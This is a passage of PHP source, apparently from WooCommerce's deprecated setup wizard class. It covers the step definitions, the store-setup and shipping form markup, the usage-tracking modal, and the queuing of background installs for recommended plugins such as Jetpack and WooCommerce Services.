				'view'    => array( $this, 'wc_setup_store_setup' ),
				'handler' => array( $this, 'wc_setup_store_setup_save' ),
			),
			'payment'        => array(
				'name'    => __( 'Payment', 'woocommerce' ),
				'view'    => array( $this, 'wc_setup_payment' ),
				'handler' => array( $this, 'wc_setup_payment_save' ),
			),
			'shipping'       => array(
				'name'    => __( 'Shipping', 'woocommerce' ),
				'view'    => array( $this, 'wc_setup_shipping' ),
				'handler' => array( $this, 'wc_setup_shipping_save' ),
			),
			'recommended'    => array(
				'name'    => __( 'Recommended', 'woocommerce' ),
				'view'    => array( $this, 'wc_setup_recommended' ),
				'handler' => array( $this, 'wc_setup_recommended_save' ),
			),
			'activate'       => array(
				'name'    => __( 'Activate', 'woocommerce' ),
				'view'    => array( $this, 'wc_setup_activate' ),
				'handler' => array( $this, 'wc_setup_activate_save' ),
			),
			'next_steps'     => array(
				'name'    => __( 'Ready!', 'woocommerce' ),
				'view'    => array( $this, 'wc_setup_ready' ),
				'handler' => '',
			),
		);

		// Hide the new/improved onboarding experience screen if the user is not part of the a/b test.
		if ( ! $this->should_show_wc_admin_onboarding() ) {
			unset( $default_steps['new_onboarding'] );
		}

		// Hide recommended step if nothing is going to be shown there.
		if ( ! $this->should_show_recommended_step() ) {
			unset( $default_steps['recommended'] );
		}

		// Hide shipping step if the store is selling digital products only.
		if ( 'virtual' === get_option( 'woocommerce_product_type' ) ) {
			unset( $default_steps['shipping'] );
		}

		// Hide activate section when the user does not have capabilities to install plugins, think multiside admins not being a super admin.
		if ( ! current_user_can( 'install_plugins' ) ) {
			unset( $default_steps['activate'] );
		}

		$this->steps = apply_filters( 'woocommerce_setup_wizard_steps', $default_steps );
		$this->step  = isset( $_GET['step'] ) ? sanitize_key( $_GET['step'] ) : current( array_keys( $this->steps ) ); // WPCS: CSRF ok, input var ok.

		// @codingStandardsIgnoreStart
		if ( ! empty( $_POST['save_step'] ) && isset( $this->steps[ $this->step ]['handler'] ) ) {
			call_user_func( $this->steps[ $this->step ]['handler'], $this );
		}
		// @codingStandardsIgnoreEnd

		ob_start();
		$this->setup_wizard_header();
		$this->setup_wizard_steps();
		$this->setup_wizard_content();
		$this->setup_wizard_footer();
		exit;
	}

	/**
	 * Get the URL for the next step's screen.
	 *
	 * @param string $step  slug (default: current step).
	 * @return string       URL for next step if a next step exists.
	 *                      Admin URL if it's the last step.
	 *                      Empty string on failure.
	 *
	 * @deprecated 4.6.0
	 * @since 3.0.0
	 */
	public function get_next_step_link( $step = '' ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		if ( ! $step ) {
			$step = $this->step;
		}

		$keys = array_keys( $this->steps );
		if ( end( $keys ) === $step ) {
			return admin_url();
		}

		$step_index = array_search( $step, $keys, true );
		if ( false === $step_index ) {
			return '';
		}

		return add_query_arg( 'step', $keys[ $step_index + 1 ], remove_query_arg( 'activate_error' ) );
	}

	/**
	 * Setup Wizard Header.
	 *
	 * @deprecated 4.6.0
	 */
	public function setup_wizard_header() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		// same as default WP from wp-admin/admin-header.php.
		$wp_version_class = 'branch-' . str_replace( array( '.', ',' ), '-', floatval( get_bloginfo( 'version' ) ) );

		set_current_screen();
		?>
		<!DOCTYPE html>
		<html <?php language_attributes(); ?>>
		<head>
			<meta name="viewport" content="width=device-width" />
			<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
			<title><?php esc_html_e( 'WooCommerce &rsaquo; Setup Wizard', 'woocommerce' ); ?></title>
			<?php do_action( 'admin_enqueue_scripts' ); ?>
			<?php wp_print_scripts( 'wc-setup' ); ?>
			<?php do_action( 'admin_print_styles' ); ?>
			<?php do_action( 'admin_head' ); ?>
		</head>
		<body class="wc-setup wp-core-ui <?php echo esc_attr( 'wc-setup-step__' . $this->step ); ?> <?php echo esc_attr( $wp_version_class ); ?>">
		<h1 class="wc-logo"><a href="https://woocommerce.com/"><img src="<?php echo esc_url( WC()->plugin_url() ); ?>/assets/images/woocommerce_logo.png" alt="<?php esc_attr_e( 'WooCommerce', 'woocommerce' ); ?>" /></a></h1>
		<?php
	}

	/**
	 * Setup Wizard Footer.
	 *
	 * @deprecated 4.6.0
	 */
	public function setup_wizard_footer() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$current_step = $this->step;
		?>
			<?php if ( 'new_onboarding' === $current_step || 'store-setup' === $current_step ) : ?>
				<a class="wc-setup-footer-links" href="<?php echo esc_url( admin_url() ); ?>"><?php esc_html_e( 'Not right now', 'woocommerce' ); ?></a>
			<?php elseif ( 'recommended' === $current_step || 'activate' === $current_step ) : ?>
				<a class="wc-setup-footer-links" href="<?php echo esc_url( $this->get_next_step_link() ); ?>"><?php esc_html_e( 'Skip this step', 'woocommerce' ); ?></a>
			<?php endif; ?>
			<?php do_action( 'woocommerce_setup_footer' ); ?>
			</body>
		</html>
		<?php
	}

	/**
	 * Output the steps.
	 *
	 * @deprecated 4.6.0
	 */
	public function setup_wizard_steps() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$output_steps      = $this->steps;
		$selected_features = array_filter( $this->wc_setup_activate_get_feature_list() );

		// Hide the activate step if Jetpack is already active, unless WooCommerce Services
		// features are selected, or unless the Activate step was already taken.
		if ( class_exists( 'Jetpack' ) && Jetpack::is_active() && empty( $selected_features ) && 'yes' !== get_transient( 'wc_setup_activated' ) ) {
			unset( $output_steps['activate'] );
		}

		unset( $output_steps['new_onboarding'] );

		?>
		<ol class="wc-setup-steps">
			<?php
			foreach ( $output_steps as $step_key => $step ) {
				$is_completed = array_search( $this->step, array_keys( $this->steps ), true ) > array_search( $step_key, array_keys( $this->steps ), true );

				if ( $step_key === $this->step ) {
					?>
					<li class="active"><?php echo esc_html( $step['name'] ); ?></li>
					<?php
				} elseif ( $is_completed ) {
					?>
					<li class="done">
						<a href="<?php echo esc_url( add_query_arg( 'step', $step_key, remove_query_arg( 'activate_error' ) ) ); ?>"><?php echo esc_html( $step['name'] ); ?></a>
					</li>
					<?php
				} else {
					?>
					<li><?php echo esc_html( $step['name'] ); ?></li>
					<?php
				}
			}
			?>
		</ol>
		<?php
	}

	/**
	 * Output the content for the current step.
	 *
	 * @deprecated 4.6.0
	 */
	public function setup_wizard_content() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		echo '<div class="wc-setup-content">';
		if ( ! empty( $this->steps[ $this->step ]['view'] ) ) {
			call_user_func( $this->steps[ $this->step ]['view'], $this );
		}
		echo '</div>';
	}

	/**
	 * Display's a prompt for users to try out the new improved WooCommerce onboarding experience in WooCommerce Admin.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_new_onboarding() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		?>
			<div class="wc-setup-step__new_onboarding-wrapper">
				<p class="wc-setup-step__new_onboarding-welcome"><?php esc_html_e( 'Welcome to', 'woocommerce' ); ?></p>
				<h1 class="wc-logo"><a href="https://woocommerce.com/"><img src="<?php echo esc_url( WC()->plugin_url() ); ?>/assets/images/woocommerce_logo.png" alt="<?php esc_attr_e( 'WooCommerce', 'woocommerce' ); ?>" /></a></h1>
				<p><?php esc_html_e( 'Get your store up and running more quickly with our new and improved setup experience', 'woocommerce' ); ?></p>

				<form method="post" class="activate-new-onboarding">
					<?php wp_nonce_field( 'wc-setup' ); ?>
					<input type="hidden" name="save_step" value="new_onboarding" />
					<p class="wc-setup-actions step">
						<button class="button-primary button button-large" value="<?php esc_attr_e( 'Yes please', 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( 'Yes please', 'woocommerce' ); ?></button>
					</p>
				</form>
				<?php if ( ! $this->is_wc_admin_active() ) : ?>
					<p class="wc-setup-step__new_onboarding-plugin-info"><?php esc_html_e( 'The "WooCommerce Admin" plugin will be installed and activated', 'woocommerce' ); ?></p>
				<?php endif; ?>
			</div>
		<?php
	}

	/**
	 * Installs WooCommerce admin and redirects to the new onboarding experience.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_new_onboarding_save() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Initial "store setup" step.
	 * Location, product type, page setup, and tracking opt-in.
	 */
	public function wc_setup_store_setup() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$address        = WC()->countries->get_base_address();
		$address_2      = WC()->countries->get_base_address_2();
		$city           = WC()->countries->get_base_city();
		$state          = WC()->countries->get_base_state();
		$country        = WC()->countries->get_base_country();
		$postcode       = WC()->countries->get_base_postcode();
		$currency       = get_option( 'woocommerce_currency', 'USD' );
		$product_type   = get_option( 'woocommerce_product_type', 'both' );
		$sell_in_person = get_option( 'woocommerce_sell_in_person', 'none_selected' );

		if ( empty( $country ) ) {
			$user_location = WC_Geolocation::geolocate_ip();
			$country       = $user_location['country'];
			$state         = $user_location['state'];
		}

		$locale_info         = include WC()->plugin_path() . '/i18n/locale-info.php';
		$currency_by_country = wp_list_pluck( $locale_info, 'currency_code' );
		?>
		<form method="post" class="address-step">
			<input type="hidden" name="save_step" value="store_setup" />
			<?php wp_nonce_field( 'wc-setup' ); ?>
			<p class="store-setup"><?php esc_html_e( 'The following wizard will help you configure your store and get you started quickly.', 'woocommerce' ); ?></p>

			<div class="store-address-container">

				<label for="store_country" class="location-prompt"><?php esc_html_e( 'Where is your store based?', 'woocommerce' ); ?></label>
				<select id="store_country" name="store_country" required data-placeholder="<?php esc_attr_e( 'Choose a country / region&hellip;', 'woocommerce' ); ?>" aria-label="<?php esc_attr_e( 'Country / Region', 'woocommerce' ); ?>" class="location-input wc-enhanced-select dropdown">
					<?php foreach ( WC()->countries->get_countries() as $code => $label ) : ?>
						<option <?php selected( $code, $country ); ?> value="<?php echo esc_attr( $code ); ?>"><?php echo esc_html( $label ); ?></option>
					<?php endforeach; ?>
				</select>

				<label class="location-prompt" for="store_address"><?php esc_html_e( 'Address', 'woocommerce' ); ?></label>
				<input type="text" id="store_address" class="location-input" name="store_address" required value="<?php echo esc_attr( $address ); ?>" />

				<label class="location-prompt" for="store_address_2"><?php esc_html_e( 'Address line 2', 'woocommerce' ); ?></label>
				<input type="text" id="store_address_2" class="location-input" name="store_address_2" value="<?php echo esc_attr( $address_2 ); ?>" />

				<div class="city-and-postcode">
					<div>
						<label class="location-prompt" for="store_city"><?php esc_html_e( 'City', 'woocommerce' ); ?></label>
						<input type="text" id="store_city" class="location-input" name="store_city" required value="<?php echo esc_attr( $city ); ?>" />
					</div>
					<div class="store-state-container hidden">
						<label for="store_state" class="location-prompt">
							<?php esc_html_e( 'State', 'woocommerce' ); ?>
						</label>
						<select id="store_state" name="store_state" data-placeholder="<?php esc_attr_e( 'Choose a state&hellip;', 'woocommerce' ); ?>" aria-label="<?php esc_attr_e( 'State', 'woocommerce' ); ?>" class="location-input wc-enhanced-select dropdown"></select>
					</div>
					<div>
						<label class="location-prompt" for="store_postcode"><?php esc_html_e( 'Postcode / ZIP', 'woocommerce' ); ?></label>
						<input type="text" id="store_postcode" class="location-input" name="store_postcode" required value="<?php echo esc_attr( $postcode ); ?>" />
					</div>
				</div>
			</div>

			<div class="store-currency-container">
			<label class="location-prompt" for="currency_code">
				<?php esc_html_e( 'What currency do you accept payments in?', 'woocommerce' ); ?>
			</label>
			<select
				id="currency_code"
				name="currency_code"
				required
				data-placeholder="<?php esc_attr_e( 'Choose a currency&hellip;', 'woocommerce' ); ?>"
				class="location-input wc-enhanced-select dropdown"
			>
				<option value=""><?php esc_html_e( 'Choose a currency&hellip;', 'woocommerce' ); ?></option>
				<?php foreach ( get_woocommerce_currencies() as $code => $name ) : ?>
					<option value="<?php echo esc_attr( $code ); ?>" <?php selected( $currency, $code ); ?>>
						<?php
						$symbol = get_woocommerce_currency_symbol( $code );

						if ( $symbol === $code ) {
							/* translators: 1: currency name 2: currency code */
							echo esc_html( sprintf( __( '%1$s (%2$s)', 'woocommerce' ), $name, $code ) );
						} else {
							/* translators: 1: currency name 2: currency symbol, 3: currency code */
							echo esc_html( sprintf( __( '%1$s (%2$s %3$s)', 'woocommerce' ), $name, get_woocommerce_currency_symbol( $code ), $code ) );
						}
						?>
					</option>
				<?php endforeach; ?>
			</select>
			<script type="text/javascript">
				var wc_setup_currencies = JSON.parse( decodeURIComponent( '<?php echo rawurlencode( wp_json_encode( $currency_by_country ) ); ?>' ) );
				var wc_base_state       = "<?php echo esc_js( $state ); ?>";
			</script>
			</div>

			<div class="product-type-container">
			<label class="location-prompt" for="product_type">
				<?php esc_html_e( 'What type of products do you plan to sell?', 'woocommerce' ); ?>
			</label>
			<select id="product_type" name="product_type" required class="location-input wc-enhanced-select dropdown">
				<option value="both" <?php selected( $product_type, 'both' ); ?>><?php esc_html_e( 'I plan to sell both physical and digital products', 'woocommerce' ); ?></option>
				<option value="physical" <?php selected( $product_type, 'physical' ); ?>><?php esc_html_e( 'I plan to sell physical products', 'woocommerce' ); ?></option>
				<option value="virtual" <?php selected( $product_type, 'virtual' ); ?>><?php esc_html_e( 'I plan to sell digital products', 'woocommerce' ); ?></option>
			</select>
			</div>

			<div class="sell-in-person-container">
			<input
				type="checkbox"
				id="woocommerce_sell_in_person"
				name="sell_in_person"
				value="yes"
				<?php checked( $sell_in_person, true ); ?>
			/>
			<label class="location-prompt" for="woocommerce_sell_in_person">
				<?php esc_html_e( 'I will also be selling products or services in person.', 'woocommerce' ); ?>
			</label>
			</div>

			<input type="checkbox" id="wc_tracker_checkbox" name="wc_tracker_checkbox" value="yes" <?php checked( 'yes', get_option( 'woocommerce_allow_tracking', 'no' ) ); ?> />

			<?php $this->tracking_modal(); ?>

			<p class="wc-setup-actions step">
				<button class="button-primary button button-large" value="<?php esc_attr_e( "Let's go!", 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( "Let's go!", 'woocommerce' ); ?></button>
			</p>
		</form>
		<?php
	}

	/**
	 * Template for the usage tracking modal.
	 *
	 * @deprecated 4.6.0
	 */
	public function tracking_modal() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		?>
		<script type="text/template" id="tmpl-wc-modal-tracking-setup">
			<div class="wc-backbone-modal woocommerce-tracker">
				<div class="wc-backbone-modal-content">
					<section class="wc-backbone-modal-main" role="main">
						<header class="wc-backbone-modal-header">
							<h1><?php esc_html_e( 'Help improve WooCommerce with usage tracking', 'woocommerce' ); ?></h1>
						</header>
						<article>
							<p>
							<?php
								printf(
									wp_kses(
										/* translators: %1$s: usage tracking help link */
										__( 'Learn more about how usage tracking works, and how you\'ll be helping in our <a href="%1$s" target="_blank">usage tracking documentation</a>.', 'woocommerce' ),
										array(
											'a' => array(
												'href'   => array(),
												'target' => array(),
											),
										)
									),
									'https://woocommerce.com/usage-tracking/'
								);
							?>
							</p>
							<p class="woocommerce-tracker-checkbox">
								<input type="checkbox" id="wc_tracker_checkbox_dialog" name="wc_tracker_checkbox_dialog" value="yes" <?php checked( 'yes', get_option( 'woocommerce_allow_tracking', 'no' ) ); ?> />
								<label for="wc_tracker_checkbox_dialog"><?php esc_html_e( 'Enable usage tracking and help improve WooCommerce', 'woocommerce' ); ?></label>
							</p>
						</article>
						<footer>
							<div class="inner">
								<button class="button button-primary button-large" id="wc_tracker_submit" aria-label="<?php esc_attr_e( 'Continue', 'woocommerce' ); ?>"><?php esc_html_e( 'Continue', 'woocommerce' ); ?></button>
							</div>
						</footer>
					</section>
				</div>
			</div>
			<div class="wc-backbone-modal-backdrop modal-close"></div>
		</script>
		<?php
	}

	/**
	 * Save initial store settings.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_store_setup_save() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Finishes replying to the client, but keeps the process running for further (async) code execution.
	 *
	 * @see https://core.trac.wordpress.org/ticket/41358 .
	 */
	protected function close_http_connection() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		// Only 1 PHP process can access a session object at a time, close this so the next request isn't kept waiting.
		// @codingStandardsIgnoreStart
		if ( session_id() ) {
			session_write_close();
		}
		// @codingStandardsIgnoreEnd

		wc_set_time_limit( 0 );

		// fastcgi_finish_request is the cleanest way to send the response and keep the script running, but not every server has it.
		if ( is_callable( 'fastcgi_finish_request' ) ) {
			fastcgi_finish_request();
		} else {
			// Fallback: send headers and flush buffers.
			if ( ! headers_sent() ) {
				header( 'Connection: close' );
			}
			@ob_end_flush(); // @codingStandardsIgnoreLine.
			flush();
		}
	}

	/**
	 * Function called after the HTTP request is finished, so it's executed without the client having to wait for it.
	 *
	 * @see WC_Admin_Setup_Wizard::install_plugin
	 * @see WC_Admin_Setup_Wizard::install_theme
	 *
	 * @deprecated 4.6.0
	 */
	public function run_deferred_actions() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$this->close_http_connection();
		foreach ( $this->deferred_actions as $action ) {
			$action['func']( ...$action['args'] );

			// Clear the background installation flag if this is a plugin.
			if (
				isset( $action['func'][1] ) &&
				'background_installer' === $action['func'][1] &&
				isset( $action['args'][0] )
			) {
				delete_option( 'woocommerce_setup_background_installing_' . $action['args'][0] );
			}
		}
	}

	/**
	 * Helper method to queue the background install of a plugin.
	 *
	 * @param string $plugin_id  Plugin id used for background install.
	 * @param array  $plugin_info Plugin info array containing name and repo-slug, and optionally file if different from [repo-slug].php.
	 *
	 * @deprecated 4.6.0
	 */
	protected function install_plugin( $plugin_id, $plugin_info ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		// Make sure we don't trigger multiple simultaneous installs.
		if ( get_option( 'woocommerce_setup_background_installing_' . $plugin_id ) ) {
			return;
		}

		$plugin_file = isset( $plugin_info['file'] ) ? $plugin_info['file'] : $plugin_info['repo-slug'] . '.php';
		if ( is_plugin_active( $plugin_info['repo-slug'] . '/' . $plugin_file ) ) {
			return;
		}

		if ( empty( $this->deferred_actions ) ) {
			add_action( 'shutdown', array( $this, 'run_deferred_actions' ) );
		}

		array_push(
			$this->deferred_actions,
			array(
				'func' => array( 'WC_Install', 'background_installer' ),
				'args' => array( $plugin_id, $plugin_info ),
			)
		);

		// Set the background installation flag for this plugin.
		update_option( 'woocommerce_setup_background_installing_' . $plugin_id, true );
	}


	/**
	 * Helper method to queue the background install of a theme.
	 *
	 * @param string $theme_id  Theme id used for background install.
	 *
	 * @deprecated 4.6.0
	 */
	protected function install_theme( $theme_id ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		if ( empty( $this->deferred_actions ) ) {
			add_action( 'shutdown', array( $this, 'run_deferred_actions' ) );
		}
		array_push(
			$this->deferred_actions,
			array(
				'func' => array( 'WC_Install', 'theme_background_installer' ),
				'args' => array( $theme_id ),
			)
		);
	}

	/**
	 * Helper method to install Jetpack.
	 *
	 * @deprecated 4.6.0
	 */
	protected function install_jetpack() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$this->install_plugin(
			'jetpack',
			array(
				'name'      => __( 'Jetpack', 'woocommerce' ),
				'repo-slug' => 'jetpack',
			)
		);
	}

	/**
	 * Helper method to install WooCommerce Services and its Jetpack dependency.
	 *
	 * @deprecated 4.6.0
	 */
	protected function install_woocommerce_services() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$this->install_jetpack();
		$this->install_plugin(
			'woocommerce-services',
			array(
				'name'      => __( 'WooCommerce Services', 'woocommerce' ),
				'repo-slug' => 'woocommerce-services',
			)
		);
	}

	/**
	 * Retrieve info for missing WooCommerce Services and/or Jetpack plugin.
	 *
	 * @deprecated 4.6.0
	 * @return array
	 */
	protected function get_wcs_requisite_plugins() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$plugins = array();
		if ( ! is_plugin_active( 'woocommerce-services/woocommerce-services.php' ) && ! get_option( 'woocommerce_setup_background_installing_woocommerce-services' ) ) {
			$plugins[] = array(
				'name' => __( 'WooCommerce Services', 'woocommerce' ),
				'slug' => 'woocommerce-services',
			);
		}
		if ( ! is_plugin_active( 'jetpack/jetpack.php' ) && ! get_option( 'woocommerce_setup_background_installing_jetpack' ) ) {
			$plugins[] = array(
				'name' => __( 'Jetpack', 'woocommerce' ),
				'slug' => 'jetpack',
			);
		}
		return $plugins;
	}

	/**
	 * Plugin install info message markup with heading.
	 *
	 * @deprecated 4.6.0
	 */
	public function plugin_install_info() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		?>
		<span class="plugin-install-info">
			<span class="plugin-install-info-label"><?php esc_html_e( 'The following plugins will be installed and activated for you:', 'woocommerce' ); ?></span>
			<span class="plugin-install-info-list"></span>
		</span>
		<?php
	}

	/**
	 * Get shipping methods based on country code.
	 *
	 * @param string $country_code Country code.
	 * @param string $currency_code Currency code.
	 *
	 * @deprecated 4.6.0
	 * @return array
	 */
	protected function get_wizard_shipping_methods( $country_code, $currency_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$shipping_methods = array(
			'flat_rate'     => array(
				'name'        => __( 'Flat Rate', 'woocommerce' ),
				'description' => __( 'Set a fixed price to cover shipping costs.', 'woocommerce' ),
				'settings'    => array(
					'cost' => array(
						'type'          => 'text',
						'default_value' => __( 'Cost', 'woocommerce' ),
						'description'   => __( 'What would you like to charge for flat rate shipping?', 'woocommerce' ),
						'required'      => true,
					),
				),
			),
			'free_shipping' => array(
				'name'        => __( 'Free Shipping', 'woocommerce' ),
				'description' => __( "Don't charge for shipping.", 'woocommerce' ),
			),
		);

		return $shipping_methods;
	}

	/**
	 * Render the available shipping methods for a given country code.
	 *
	 * @param string $country_code Country code.
	 * @param string $currency_code Currency code.
	 * @param string $input_prefix Input prefix.
	 *
	 * @deprecated 4.6.0
	 */
	protected function shipping_method_selection_form( $country_code, $currency_code, $input_prefix ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$selected         = 'flat_rate';
		$shipping_methods = $this->get_wizard_shipping_methods( $country_code, $currency_code );
		?>
		<div class="wc-wizard-shipping-method-select">
			<div class="wc-wizard-shipping-method-dropdown">
				<select
					id="<?php echo esc_attr( "{$input_prefix}[method]" ); ?>"
					name="<?php echo esc_attr( "{$input_prefix}[method]" ); ?>"
					class="method wc-enhanced-select"
					data-plugins="<?php echo wc_esc_json( wp_json_encode( $this->get_wcs_requisite_plugins() ) ); ?>"
				>
				<?php foreach ( $shipping_methods as $method_id => $method ) : ?>
					<option value="<?php echo esc_attr( $method_id ); ?>" <?php selected( $selected, $method_id ); ?>><?php echo esc_html( $method['name'] ); ?></option>
				<?php endforeach; ?>
				</select>
			</div>
			<div class="shipping-method-descriptions">
				<?php foreach ( $shipping_methods as $method_id => $method ) : ?>
					<p class="shipping-method-description <?php echo esc_attr( $method_id ); ?> <?php echo $method_id !== $selected ? 'hide' : ''; ?>">
						<?php echo esc_html( $method['description'] ); ?>
					</p>
				<?php endforeach; ?>
			</div>
		</div>

		<div class="shipping-method-settings">
		<?php foreach ( $shipping_methods as $method_id => $method ) : ?>
			<?php
			if ( empty( $method['settings'] ) ) {
				continue;
			}
			?>
			<div class="shipping-method-setting <?php echo esc_attr( $method_id ); ?> <?php echo $method_id !== $selected ? 'hide' : ''; ?>">
			<?php foreach ( $method['settings'] as $setting_id => $setting ) : ?>
				<?php $method_setting_id = "{$input_prefix}[{$method_id}][{$setting_id}]"; ?>
				<input
					type="<?php echo esc_attr( $setting['type'] ); ?>"
					placeholder="<?php echo esc_attr( $setting['default_value'] ); ?>"
					id="<?php echo esc_attr( $method_setting_id ); ?>"
					name="<?php echo esc_attr( $method_setting_id ); ?>"
					class="<?php echo esc_attr( $setting['required'] ? 'shipping-method-required-field' : '' ); ?>"
					<?php echo ( $method_id === $selected && $setting['required'] ) ? 'required' : ''; ?>
				/>
				<p class="description">
					<?php echo esc_html( $setting['description'] ); ?>
				</p>
			<?php endforeach; ?>
			</div>
		<?php endforeach; ?>
		</div>
		<?php
	}

	/**
	 * Render a product weight unit dropdown.
	 *
	 * @deprecated 4.6.0
	 * @return string
	 */
	protected function get_product_weight_selection() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$weight_unit = get_option( 'woocommerce_weight_unit' );
		ob_start();
		?>
		<span class="wc-setup-shipping-unit">
			<select id="weight_unit" name="weight_unit" class="wc-enhanced-select">
				<option value="kg" <?php selected( $weight_unit, 'kg' ); ?>><?php esc_html_e( 'Kilograms', 'woocommerce' ); ?></option>
				<option value="g" <?php selected( $weight_unit, 'g' ); ?>><?php esc_html_e( 'Grams', 'woocommerce' ); ?></option>
				<option value="lbs" <?php selected( $weight_unit, 'lbs' ); ?>><?php esc_html_e( 'Pounds', 'woocommerce' ); ?></option>
				<option value="oz" <?php selected( $weight_unit, 'oz' ); ?>><?php esc_html_e( 'Ounces', 'woocommerce' ); ?></option>
			</select>
		</span>
		<?php

		return ob_get_clean();
	}

	/**
	 * Render a product dimension unit dropdown.
	 *
	 * @deprecated 4.6.0
	 * @return string
	 */
	protected function get_product_dimension_selection() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$dimension_unit = get_option( 'woocommerce_dimension_unit' );
		ob_start();
		?>
		<span class="wc-setup-shipping-unit">
			<select id="dimension_unit" name="dimension_unit" class="wc-enhanced-select">
				<option value="m" <?php selected( $dimension_unit, 'm' ); ?>><?php esc_html_e( 'Meters', 'woocommerce' ); ?></option>
				<option value="cm" <?php selected( $dimension_unit, 'cm' ); ?>><?php esc_html_e( 'Centimeters', 'woocommerce' ); ?></option>
				<option value="mm" <?php selected( $dimension_unit, 'mm' ); ?>><?php esc_html_e( 'Millimeters', 'woocommerce' ); ?></option>
				<option value="in" <?php selected( $dimension_unit, 'in' ); ?>><?php esc_html_e( 'Inches', 'woocommerce' ); ?></option>
				<option value="yd" <?php selected( $dimension_unit, 'yd' ); ?>><?php esc_html_e( 'Yards', 'woocommerce' ); ?></option>
			</select>
		</span>
		<?php

		return ob_get_clean();
	}

	/**
	 * Shipping.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_shipping() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$country_code          = WC()->countries->get_base_country();
		$country_name          = WC()->countries->countries[ $country_code ];
		$prefixed_country_name = WC()->countries->estimated_for_prefix( $country_code ) . $country_name;
		$currency_code         = get_woocommerce_currency();
		$existing_zones        = WC_Shipping_Zones::get_zones();
		$intro_text            = '';

		if ( empty( $existing_zones ) ) {
			$intro_text = sprintf(
				/* translators: %s: country name including the 'the' prefix if needed */
				__( "We've created two Shipping Zones - for %s and for the rest of the world. Below you can set Flat Rate shipping costs for these Zones or offer Free Shipping.", 'woocommerce' ),
				$prefixed_country_name
			);
		}

		$is_wcs_labels_supported  = $this->is_wcs_shipping_labels_supported_country( $country_code );
		$is_shipstation_supported = $this->is_shipstation_supported_country( $country_code );

		?>
		<h1><?php esc_html_e( 'Shipping', 'woocommerce' ); ?></h1>
		<?php if ( $intro_text ) : ?>
			<p><?php echo wp_kses_post( $intro_text ); ?></p>
		<?php endif; ?>
		<form method="post">
			<?php if ( $is_wcs_labels_supported || $is_shipstation_supported ) : ?>
				<ul class="wc-setup-shipping-recommended">
				<?php
				if ( $is_wcs_labels_supported ) :
					$this->display_recommended_item(
						array(
							'type'        => 'woocommerce_services',
							'title'       => __( 'Did you know you can print shipping labels at home?', 'woocommerce' ),
							'description' => __( 'Use WooCommerce Shipping (powered by WooCommerce Services & Jetpack) to save time at the post office by printing your shipping labels at home.', 'woocommerce' ),
							'img_url'     => WC()->plugin_url() . '/assets/images/obw-woocommerce-services-icon.png',
							'img_alt'     => __( 'WooCommerce Services icon', 'woocommerce' ),
							'plugins'     => $this->get_wcs_requisite_plugins(),
						)
					);
				elseif ( $is_shipstation_supported ) :
					$this->display_recommended_item(
						array(
							'type'        => 'shipstation',
							'title'       => __( 'Did you know you can print shipping labels at home?', 'woocommerce' ),
							'description' => __( 'We recommend using ShipStation to save time at the post office by printing your shipping labels at home. Try ShipStation free for 30 days.', 'woocommerce' ),
							'img_url'     => WC()->plugin_url() . '/assets/images/obw-shipstation-icon.png',
							'img_alt'     => __( 'ShipStation icon', 'woocommerce' ),
							'plugins'     => array(
								array(
									'name' => __( 'ShipStation', 'woocommerce' ),
									'slug' => 'woocommerce-shipstation-integration',
								),
							),
						)
					);
				endif;
				?>
				</ul>
			<?php endif; ?>

			<?php if ( empty( $existing_zones ) ) : ?>
